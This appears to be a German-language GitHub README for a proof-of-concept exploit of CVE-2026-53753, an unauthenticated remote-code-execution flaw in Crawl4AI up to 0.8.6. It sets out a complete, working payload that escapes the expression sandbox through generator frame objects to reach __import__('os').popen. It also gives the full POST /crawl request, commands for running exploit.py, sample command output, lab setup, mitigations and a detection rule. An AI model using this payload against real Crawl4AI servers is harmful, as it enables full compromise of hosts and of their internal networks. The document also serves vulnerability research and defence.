
CVE-2026-53753 — Crawl4AI <0.8.7 nicht authentifizierte RCE (AST-Sandbox-Escape via gi_frame.f_back). Lab + PoC, e2e verifiziert.
Pre-Authentifizierungs-RCE in Crawl4AI
< 0.8.7. Ein manipulativesJsonCssExtractionStrategy-Schema, das an den nicht authentifiziertenPOST /crawlEndpunkt gesendet wird, erreicht den Auswerter für berechnete Felder (_safe_eval_expression), umgeht dessen AST-Allow-List über Python-Frame-Objekte, erreicht die echtenbuiltinsund führt__import__('os').popen(<cmd>).read()aus – die Ausgabe des Befehls wird im gleichen Zug in der JSON-Antwort zurückgegeben.
| CVE | CVE-2026-53753 |
| Advisory | GHSA-qxjp-w3pj-48m7 |
| Betroffen | Crawl4AI <= 0.8.6 |
| Behoben | 0.8.7 |
| Klasse | CWE-94 (Code Injection) / Python-Sandbox-Escape |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Auth | Keine — ausgelieferte Konfiguration hat jwt_enabled: false |
| Status | BESTÄTIGT — End-to-End gegen das offizielle unclecode/crawl4ai:0.8.6-Image reproduziert |
Tiefergehende Analyse: siehe
ANALYSIS.mdfür einen Knoten-für-Knoten-AST-Durchlauf, den Laufzeit-Frame-Stack, den Anfragedatenfluss und den Patch-Diff.
crawl4ai/extraction_strategy.py lässt ein Extraktionsschema berechnete
Felder definieren – kleine Python-Ausdrücke, die pro extrahiertem Element ausgewertet werden.
Sie werden von _safe_eval_expression() ausgeführt, das versucht, den Ausdruck mit einer
AST-Allow-List und reduzierten __builtins__ zu sandboxen:
# crawl4ai/extraction_strategy.py (v0.8.6)
for node in ast.walk(tree):
if isinstance(node, (ast.Import, ast.ImportFrom)):
raise ValueError("Import statements are not allowed in expressions")
# Block dunder attribute access, e.g. __class__, __globals__
if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
if isinstance(node, ast.Call):
func = node.func
if isinstance(func, ast.Name) and func.id.startswith("_"):
raise ValueError(...)
if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
raise ValueError(...)
safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS} # no __import__, no eval, no open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)
Der Validator ist Verweigerung-nach-Präfix: Er lehnt nur Namen ab, die mit _ beginnen
(zusätzlich zu import). Diese einzelne Heuristik bildet die gesamte Sandbox – und sie hat drei
Lücken, die sich zu einem vollständigen Escape kombinieren:
Das Schema erreicht diese Funktion ohne Authentifizierung: Die Docker-API liefert
security.jwt_enabled: false aus, daher ist die /crawl-Token-Abhängigkeit lambda: None.
Der Ausdruck für das berechnete Feld ist:
(lambda: (
(g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/HEAD/%27os%27).popen('id').read()
for i in [1])),
list(g)
)[-1])()
Teil für Teil gelesen:
Da der Wert des Generators os.popen(cmd).read() ist, wird die stdout des Befehls zum Feldwert und in der /crawl-Antwort zurückgespiegelt – ein In-Band-Orakel, kein OAST erforderlich.
Während list(g) den Generator durchläuft, sieht der Call-Stack so aus:
frame: _safe_eval_expression() <-- echte builtins (__import__ lebt hier) ← f_back ×3
└ frame: <expression> (eval) <-- gesandboxte builtins (_SAFE_EVAL_BUILTINS) ← f_back ×2
└ frame: <lambda> <-- gesandboxt ← f_back ×1
└ frame: <genexpr> g <-- LAUFEND; g.gi_frame ist dieses Frame ← gi_frame
g.gi_frame.f_back ist nur gefüllt, während der Generator läuft (deshalb muss der Generator sich selbst referenzieren und von list(g) angetrieben werden – ein noch nicht gestarteter Generator hat f_back is None). Das dreimalige Durchlaufen von f_back landet auf dem _safe_eval_expression-Frame, dessen f_builtins das vollständige builtins-Modul ist – aus dem __import__ per Subscript gezogen wird.
Die Frametiefe ist für diesen Codepfad stabil:
f_back × 3ist korrekt für Crawl4AI 0.8.6's_safe_eval_expression.
Das offizielle Image liefert die angreifbare Standardkonfiguration (keine Authentifizierung) aus:
# Option A — docker compose (normaler Docker-Host mit Bridge-Netzwerk)
docker compose -f lab/docker-compose.yml up -d
# Option B — einfacher docker run
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6
Warten Sie ~20 s, bis der Browser-Pool warm ist (docker logs crawl4ai-vuln →
Application startup complete).
# Den Anfragekörper inspizieren, ohne ihn zu senden:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload
# Ausführen (die stdout des Befehls kommt in der Antwort zurück):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"
exploit.py verwendet nur die Python-Standardbibliothek – keine Abhängigkeiten.
[*] POST http://127.0.0.1:11235/crawl (cmd: 'id; uname -a; ...', no auth)
[*] HTTP 200
{"success":true,"results":[{ ... "extracted_content":"[
{
\"out\": [
\"uid=999(appuser) gid=999(appuser) groups=999(appuser)
appuser
Linux ... x86_64 GNU/Linux
PRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"
\"
]
}
]" ...
Das Feld out enthält den live-OS-Zustand (id-Ausgabe, uname, das os-release
des Containers), kein Echo der Anfrage – uid=999(appuser) ist das Dienstkonto des Containers,
was die Codeausführung innerhalb des Crawl4AI-Hosts beweist. Ein eindeutiges echo <marker>
wird wörtlich zurückgespiegelt, was bestätigt, dass der Befehl tatsächlich ausgeführt wurde.
POST /crawl HTTP/1.1
Host: 127.0.0.1:11235
Content-Type: application/json
{"urls":["raw://<html><body><div id='x'>hi</div></body></html>"],
"crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy":
{"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div",
"fields":[{"name":"out","type":"computed","expression":"<PAYLOAD FROM §2>"}]}}}}}}
raw://… macht die Anfrage in sich geschlossen – kein ausgehender Fetch ist nötig; der
Angreifer liefert das HTML inline.baseSelector: "div" muss lediglich ein Element finden, damit ein berechnetes Feld
ausgewertet wird. Für ein echtes Crawl-Ziel verwenden Sie einen beliebigen Selektor, der auf die Seite passt.Jeder netzwerkerreichbare Client führt in der Standardbereitstellung ohne Authentifizierung beliebige OS-Befehle auf dem Crawl4AI-Host aus – vollständige Kompromittierung des Servers und Sprungmöglichkeit in alle internen Ressourcen, die er erreichen kann.
_safe_eval_expression; der
expression-Schlüssel für berechnete Felder ist deaktiviert – verwenden Sie stattdessen den
function-Schlüssel mit einem geprüften Python-Callable).jwt_enabled: true + api_token) und die
Crawl4AI-API niemals unsicheren Netzwerken aussetzen.Markieren Sie POST /crawl- (und /crawl/stream)-Inhalte, die gi_frame, f_back,
f_builtins oder ein beliebiges computed-Feld mit einem expression-Schlüssel enthalten.
| # | Lücke | Warum es wichtig ist |
|---|
| 1 | gi_frame, f_back, f_builtins beginnen nicht mit _ | Die gesamte Python-Frame/Generator-Introspektionsoberfläche ist erreichbar. |
| 2 | obj['__import__'] ist ein ast.Subscript, kein ast.Attribute | Der Validator prüft keine Dict-Subscript-Schlüssel, daher passiert der Dunder-Schlüssel __import__. |
| 3 | Die f_back-Kette eines laufenden Generators führt zu einem äußeren Frame, dessen f_builtins die echten builtins sind | Umgeht die reduzierten _SAFE_EVAL_BUILTINS zurück zu den vollständigen (__import__ etc.). |
| Fragment | Rolle | Warum der Validator es erlaubt |
|---|
(lambda: ... )() | Erstellt einen Funktionsbereich, sodass der Walrus-gebundene Name in einer Closure-Zelle lebt. | ast.Lambda wird nicht geprüft. |
g := ( <expr> for i in [1]) | Bindet den Generator an g und der Generatorrumpf referenziert g (sich selbst). | := und Generatorausdrücke werden nicht geprüft. (Walrus ist in einem Comprehension-Iterable illegal, daher wird er stattdessen in ein Tupel-Element platziert.) |
list(g) | Treibt den Generator an – sodass sein Frame live ist, wenn der Rumpf ausgeführt wird. | list ist in den sicheren builtins. |
g.gi_frame | Das Frame-Objekt des Generators. | gi_frame beginnt nicht mit _. |
.f_back.f_back.f_back | Geht drei Frames hoch zu einem mit den echten builtins. | f_back beginnt nicht mit _. |
.f_builtins | Die builtins-Zuordnung dieses Frames (die echte). | f_builtins beginnt nicht mit _. |
['__import__'] | Holt __import__ aus dem builtins-Dict. | Dict-Subscript – wird nie überprüft. |
('os') | __import__('os') → das os-Modul. | Das Aufrufziel ist ein Subscript, kein Name/Attribute. |
.popen('id').read() | Führt den Befehl aus und gibt dessen stdout zurück. | popen/read beginnen nicht mit _. |
| Symptom | Ursache / Lösung |
|---|
Connection refused auf :11235 | Container wärmt noch auf, oder Ihr Docker-Daemon hat kein nutzbares bridge-Netzwerk. Warten Sie auf Application startup complete; wenn die Portzuordnung nicht bindet, starten Sie den Container mit --network host. |
out ist null | Der Basisselektor hat kein Element gefunden – stellen Sie sicher, dass das raw://-HTML ein <div> enthält (oder passen Sie baseSelector an). |
| Funktioniert auf 0.8.6, aber nicht auf 0.8.7 | Erwartet – 0.8.7 entfernt _safe_eval_expression und deaktiviert den expression-Schlüssel vollständig (der Fix). |